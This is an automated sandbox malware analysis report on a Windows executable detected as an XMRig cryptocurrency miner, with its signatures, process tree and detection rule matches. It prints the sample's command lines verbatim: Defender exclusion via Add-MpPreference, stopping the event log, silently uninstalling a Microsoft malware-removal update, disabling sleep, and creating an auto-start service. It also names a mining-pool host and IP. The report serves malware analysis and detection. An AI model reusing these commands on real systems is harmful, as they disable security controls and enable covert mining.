Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
aAcx14Rjtw.exe

Overview

General Information

Sample name:aAcx14Rjtw.exe
renamed because original name is a hash value
Original sample name:743cbd1fc2ba7bab57eafeadde68afee380aa68108e74dd88aeec31fc793e50e.exe
Analysis ID:1583094
MD5:a0a383f28ed48a0ce7c62e599e934455
SHA1:7f16a88b3cb068d040120c811ea30908d7b2efe0
SHA256:743cbd1fc2ba7bab57eafeadde68afee380aa68108e74dd88aeec31fc793e50e
Tags:exeuser-Chainskilabs
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
System process connects to network (likely due to code injection or exploit)
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
DNS related to crypt mining pools
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses powercfg.exe to modify the power settings
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • aAcx14Rjtw.exe (PID: 7636 cmdline: "C:\Users\user\Desktop\aAcx14Rjtw.exe" MD5: A0A383F28ED48A0CE7C62E599E934455)
    • powershell.exe (PID: 7648 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7880 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 8048 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • powercfg.exe (PID: 7888 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7904 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7932 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7948 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7988 cmdline: C:\Windows\system32\sc.exe delete "VITZDPED" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8152 cmdline: C:\Windows\system32\sc.exe create "VITZDPED" binpath= "C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7184 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7208 cmdline: C:\Windows\system32\sc.exe start "VITZDPED" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • nxafyjrvtamb.exe (PID: 7420 cmdline: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe MD5: A0A383F28ED48A0CE7C62E599E934455)
    • powershell.exe (PID: 7432 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 1312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 3320 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7728 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • powercfg.exe (PID: 3192 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 2108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 3616 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 5308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4904 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4324 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 4600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • conhost.exe (PID: 5500 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • explorer.exe (PID: 7628 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
    00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
      00000025.00000002.4112435385.0000000000885000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        00000025.00000002.4112435385.0000000000860000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
          00000025.00000003.1730339615.00000000008A0000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            Click to see the 2 entries

            Sigma Signatures

            Change of critical system settings

            barindex
            Sigma detected: Disable power options
            Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\aAcx14Rjtw.exe", ParentImage: C:\Users\user\Desktop\aAcx14Rjtw.exe, ParentProcessId: 7636, ParentProcessName: aAcx14Rjtw.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7888, ProcessName: powercfg.exe

            System Summary

            barindex
            Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\aAcx14Rjtw.exe", ParentImage: C:\Users\user\Desktop\aAcx14Rjtw.exe, ParentProcessId: 7636, ParentProcessName: aAcx14Rjtw.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7648, ProcessName: powershell.exe
            Sigma detected: Powershell Defender Exclusion
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\aAcx14Rjtw.exe", ParentImage: C:\Users\user\Desktop\aAcx14Rjtw.exe, ParentProcessId: 7636, ParentProcessName: aAcx14Rjtw.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7648, ProcessName: powershell.exe
            Sigma detected: New Service Creation Using Sc.EXE
            Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "VITZDPED" binpath= "C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "VITZDPED" binpath= "C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\aAcx14Rjtw.exe", ParentImage: C:\Users\user\Desktop\aAcx14Rjtw.exe, ParentProcessId: 7636, ParentProcessName: aAcx14Rjtw.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "VITZDPED" binpath= "C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe" start= "auto", ProcessId: 8152, ProcessName: sc.exe
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\aAcx14Rjtw.exe", ParentImage: C:\Users\user\Desktop\aAcx14Rjtw.exe, ParentProcessId: 7636, ParentProcessName: aAcx14Rjtw.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7648, ProcessName: powershell.exe

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Sigma detected: Stop EventLog
            Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\aAcx14Rjtw.exe", ParentImage: C:\Users\user\Desktop\aAcx14Rjtw.exe, ParentProcessId: 7636, ParentProcessName: aAcx14Rjtw.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7184, ProcessName: sc.exe

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for dropped file
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeReversingLabs: Detection: 63%
            Multi AV Scanner detection for submitted file
            Source: aAcx14Rjtw.exeReversingLabs: Detection: 63%
            Source: aAcx14Rjtw.exeVirustotal: Detection: 61%Perma Link
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

            Bitcoin Miner

            barindex
            Yara detected Xmrig cryptocurrency miner
            Source: Yara matchFile source: 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000025.00000002.4112435385.0000000000885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000025.00000002.4112435385.0000000000860000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000025.00000003.1730339615.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 7628, type: MEMORYSTR
            DNS related to crypt mining pools
            Source: unknownDNS query: name: xmr-eu1.nanopool.org
            Source: aAcx14Rjtw.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
            Source: Binary string: xcYkYAn]M)SVgxFDT@Ev@x\tL6k_iuP~dmcNMptfOMeMul8}jSRx.pdbdvT_./{AfN<WHpp\kO\l6UHDtA~W]gzPXlAhRH_#|PjE]r{S3^e@GUf*qrYgJM]u@-7AsUc~JH}N#ZAlnvKPCZ<U`KKC\gUMrq=c7|ZUS_#1OgGopEG4j|3#QAz75CG] source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmp
            Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: nxafyjrvtamb.exe, 00000017.00000003.1727864799.00000275E4F40000.00000004.00000001.00020000.00000000.sdmp
            Source: Binary string: Cgu>MmK]JR;p/;u.pdbR3XS&WvYt~`nR82w}OoM{GN@gxtuV source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmp

            Networking

            barindex
            System process connects to network (likely due to code injection or exploit)
            Source: C:\Windows\explorer.exeNetwork Connect: 146.59.154.106 10343Jump to behavior
            Source: global trafficTCP traffic: 192.168.2.4:49730 -> 146.59.154.106:10343
            Source: Joe Sandbox ViewIP Address: 146.59.154.106 146.59.154.106
            Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficDNS traffic detected: DNS query: xmr-eu1.nanopool.org
            Source: explorer.exe, 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
            Source: explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
            Source: explorer.exe, 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl:
            Source: nxafyjrvtamb.exe, 00000017.00000003.1727864799.00000275E4F40000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
            Source: nxafyjrvtamb.exe, 00000017.00000003.1727864799.00000275E4F40000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/Root.crl0
            Source: nxafyjrvtamb.exe, 00000017.00000003.1727864799.00000275E4F40000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
            Source: nxafyjrvtamb.exe, 00000017.00000003.1727864799.00000275E4F40000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/primobject.crl0
            Source: explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca
            Source: explorer.exe, 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca0

            System Summary

            barindex
            Uses powercfg.exe to modify the power settings
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeCode function: 0_2_00007FF6BF4A1394 NtAllocateVirtualMemoryEx,0_2_00007FF6BF4A1394
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeCode function: 23_2_00007FF7CE651394 NtSetInformationJobObject,23_2_00007FF7CE651394
            Source: C:\Windows\System32\conhost.exeCode function: 35_2_0000000140001394 NtCreateMutant,35_2_0000000140001394
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeFile created: C:\Windows\TEMP\usseuptqmhvx.sysJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\__PSScriptPolicyTest_alxps0rh.s0b.ps1
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeCode function: 0_2_00007FF6BF4A3B500_2_00007FF6BF4A3B50
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeCode function: 23_2_00007FF7CE653B5023_2_00007FF7CE653B50
            Source: C:\Windows\System32\conhost.exeCode function: 35_2_000000014000315035_2_0000000140003150
            Source: C:\Windows\System32\conhost.exeCode function: 35_2_00000001400026E035_2_00000001400026E0
            Source: Joe Sandbox ViewDropped File: C:\Windows\Temp\usseuptqmhvx.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeCode function: String function: 00007FF6BF4A1394 appears 33 times
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeCode function: String function: 00007FF7CE651394 appears 33 times
            Source: classification engineClassification label: mal100.spyw.evad.mine.winEXE@58/12@1/1
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7252:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1312:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4600:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1456:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7232:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8160:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2108:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5308:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7528:120:WilError_03
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxfwrikw.tb1.ps1Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\explorer.exe
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\explorer.exeJump to behavior
            Source: aAcx14Rjtw.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
